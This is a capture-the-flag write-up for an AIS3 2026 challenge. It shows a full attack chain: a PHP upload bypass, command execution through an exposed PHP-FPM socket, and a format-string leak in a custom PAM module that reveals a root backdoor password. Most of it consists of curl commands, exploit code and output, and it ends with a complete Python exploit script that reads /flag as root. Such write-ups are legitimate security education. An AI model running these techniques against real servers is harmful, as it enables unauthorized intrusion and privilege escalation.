【AIS3 Pre-Exam 2026 Writeup】Misc - ƐSI∀ Sǝɔɹǝʇ Ⅎlɐƃ Sɥod
The first source was the default page.
<?php
highlight_file(__FILE__);
die();
Nothing useful in the default vhost. The task also said no port scan and no path scan, so I did not try dirbuster style probing.
TLS certificate gave the first useful clue. The SAN had another hostname:
definitely-not-a-scam-website-trust-me-bro.iancmd.dev
After that, every request used this Host header.
curl -k -s \
-H 'Host: definitely-not-a-scam-website-trust-me-bro.iancmd.dev' \
'https://chals1.ais3.org:19380/'
This opened the fake CTFd page. The JavaScript had a clear hint:
收起你的 Dir Burster,謝謝。
真實故事改編!
/phpMyAdmin/index.php 是不是有些有趣的東西?想想這網站的架構長怎樣?
So the path was probably about architecture, not brute force.
The first real source to read was challenges.php. The upload code checked extension and file content, but it did not stop execution after a bad upload.
$target_file = './uploads/' . basename($_FILES["file"]["name"]);
if ($imageFileType == 'php') {
http_response_code(420);
header(...);
}
$file_content = file_get_contents($_FILES["file"]["tmp_name"]);
if (strpos($file_content, '<?php') !== false) {
http_response_code(420);
header(...);
}
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
The missing exit matters. Even when the server returned 420, move_uploaded_file() still ran.
Upload a PHP helper:
curl -k -s \
-H 'Host: definitely-not-a-scam-website-trust-me-bro.iancmd.dev' \
-F 'file=@ais3_fcgi.php;filename=ais3_fcgi.php;type=application/x-php' \
'https://chals1.ais3.org:19380/challenges.php'
The helper landed under:
/uploads/ais3_fcgi.php
At this point I had to understand the process layout. /proc/1/cmdline showed several services in the same container:
sshd
apache2ctl start
/www/php/sapi/fpm/php-fpm -c /www/php/php.ini-production -F
nginx
Apache served the fake CTFd. It also proxied /phpMyAdmin to local nginx:
<Location "/phpMyAdmin">
ProxyPass "http://localhost:8080"
</Location>
nginx passed PHP to:
unix:/run/php.sock
The socket permission was too open:
srw-rw-rw- 1 apache apache /run/php.sock
So the uploaded PHP could connect to PHP-FPM directly and send a FastCGI request. That gave command execution as apache.
curl -k -s -G \
-H 'Host: definitely-not-a-scam-website-trust-me-bro.iancmd.dev' \
--data-urlencode 'cmd=id; ls -l /flag' \
'https://chals1.ais3.org:19380/uploads/ais3_fcgi.php'
The result fixed the next problem:
uid=999(apache) gid=995(apache) groups=995(apache)
-rw------- 1 root root 67 /flag
RCE was not enough. /flag was root-only.
Local privilege escalation was my first guess. Kernel and syscall tricks looked tempting because the host kernel was new. Some probes failed in a consistent way:
unshare -Ur -> Operation not permitted
pidfd_getfd -> EPERM
socket(AF_ALG, ...) -> EPERM
io_uring_setup -> EPERM
CopyFail style AF_ALG path had no usable socket. pidfd-based ideas also had no primitive. Mount/procfd tricks did not leak /flag. No trigger, no path.
GDB was not where the final bug was. The interesting custom code was a PAM module on the remote box, but the file was root-only:
-r-------- 1 root root /usr/lib/x86_64-linux-gnu/security/pam_authlog.so
Without a readable copy, reversing it locally was not useful. The better oracle was the log file, because apache could read it:
-rw-r--r-- 1 root apache /var/log/auth.log
PAM config had the strange module:
cat /etc/pam.d/common-auth
auth [success=1 default=ignore] pam_unix.so nullok
auth sufficient pam_authlog.so
auth requisite pam_deny.so
auth required pam_permit.so
auth optional pam_cap.so
pam_authlog.so logged the username during SSH authentication. A normal failed login produced a line with the username. That looked boring at first.
Format specifiers came next.
OpenSSH client was annoying here. It did not like the username I wanted to send, so I used Paramiko from the target side to connect to 127.0.0.1:22.
The small helper sent arbitrary usernames:
t = paramiko.Transport(sock)
t.start_client(timeout=5)
t.auth_password(username="%p-%p-%p-%s", password="x", fallback=False)
After that, /var/log/auth.log had pointer-looking output:
0x557a172e3540-0x7f788c86902b-(nil)-(null)
So the module was doing something like:
fprintf(log, username);
This is where the printf investigation mattered. It was not a controlled format string in the web app. It was a PAM username reaching a libc printf-family function as the format string.
The next probe used positional parameter syntax:
%2$s
That leaked:
53r3C7-84CKD00r-P455W0rD\0
The last \0 looked suspicious. I was not sure if it was a printed terminator marker or literal characters. Testing it as literal backslash plus zero worked.
Full password:
53r3C7-84CKD00r-P455W0rD\0
Testing with SSH auth through the helper returned success for root. Then the final step was just SSH to localhost from the web RCE.
curl -k -s -G \
-H 'Host: definitely-not-a-scam-website-trust-me-bro.iancmd.dev' \
--data-urlencode 'cmd=sshpass -p "53r3C7-84CKD00r-P455W0rD\\0" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/tmp/kh -o LogLevel=ERROR root@127.0.0.1 "id; cat /flag" 2>&1' \
'https://chals1.ais3.org:19380/uploads/ais3_fcgi.php'
Output:
uid=0(root) gid=0(root) groups=0(root)
AIS3{h3r3_i5_7h3_f149_y0u_0rd3r3d_ddd072c19e4f46d5b2ec34563c7805e1}
Full exploit script:
#!/usr/bin/env python3
import argparse
import re
import sys
from pathlib import Path
import requests
BASE = "https://chals1.ais3.org:19380"
HOST = "definitely-not-a-scam-website-trust-me-bro.iancmd.dev"
FCGI_NAME = "ais3_fcgi.php"
BACKDOOR_PASSWORD = r"53r3C7-84CKD00r-P455W0rD\0"
def session():
s = requests.Session()
s.verify = False
s.headers.update({"Host": HOST})
requests.packages.urllib3.disable_warnings()
return s
def upload_helper(s, helper_path):
data = Path(helper_path).read_bytes()
files = {
"file": (
FCGI_NAME,
data,
"application/x-php",
)
}
# 420 is expected. The PHP code still calls move_uploaded_file().
r = s.post(f"{BASE}/challenges.php", files=files, allow_redirects=False)
print(f"[+] upload status: {r.status_code}")
def run_cmd(s, cmd):
r = s.get(
f"{BASE}/uploads/{FCGI_NAME}",
params={"cmd": cmd},
timeout=20,
)
text = r.text
marker = "STDOUT:\n"
if marker in text:
text = text.split(marker, 1)[1]
if "\nSTDERR:\n" in text:
text = text.split("\nSTDERR:\n", 1)[0]
return text.strip()
def main():
ap = argparse.ArgumentParser()
ap.add_argument(
"--helper",
default="ais3_fcgi.php",
help="local FastCGI PHP helper to upload",
)
ap.add_argument(
"--no-upload",
action="store_true",
help="skip upload when helper already exists in /uploads/",
)
args = ap.parse_args()
s = session()
if not args.no_upload:
upload_helper(s, args.helper)
print("[+] check user and flag permission")
print(run_cmd(s, "id; ls -l /flag"))
print("[+] check PAM module")
print(run_cmd(s, "grep -n pam_authlog /etc/pam.d/common-auth; ls -l /var/log/auth.log"))
# The password was leaked during solving by sending username '%2$s'
# through Paramiko to localhost sshd, then reading /var/log/auth.log.
# The literal backslash-zero is part of the password.
quoted_pw = BACKDOOR_PASSWORD.replace("\\", "\\\\").replace('"', '\\"')
cmd = (
f'sshpass -p "{quoted_pw}" '
'ssh -o StrictHostKeyChecking=no '
'-o UserKnownHostsFile=/tmp/kh '
'-o LogLevel=ERROR '
'root@127.0.0.1 "id; cat /flag" 2>&1'
)
print("[+] root ssh")
out = run_cmd(s, cmd)
print(out)
m = re.search(r"AIS3\{[^\n]+\}", out)
if not m:
print("[-] flag not found", file=sys.stderr)
return 1
return 0
if __name__ == "__main__":
raise SystemExit(main())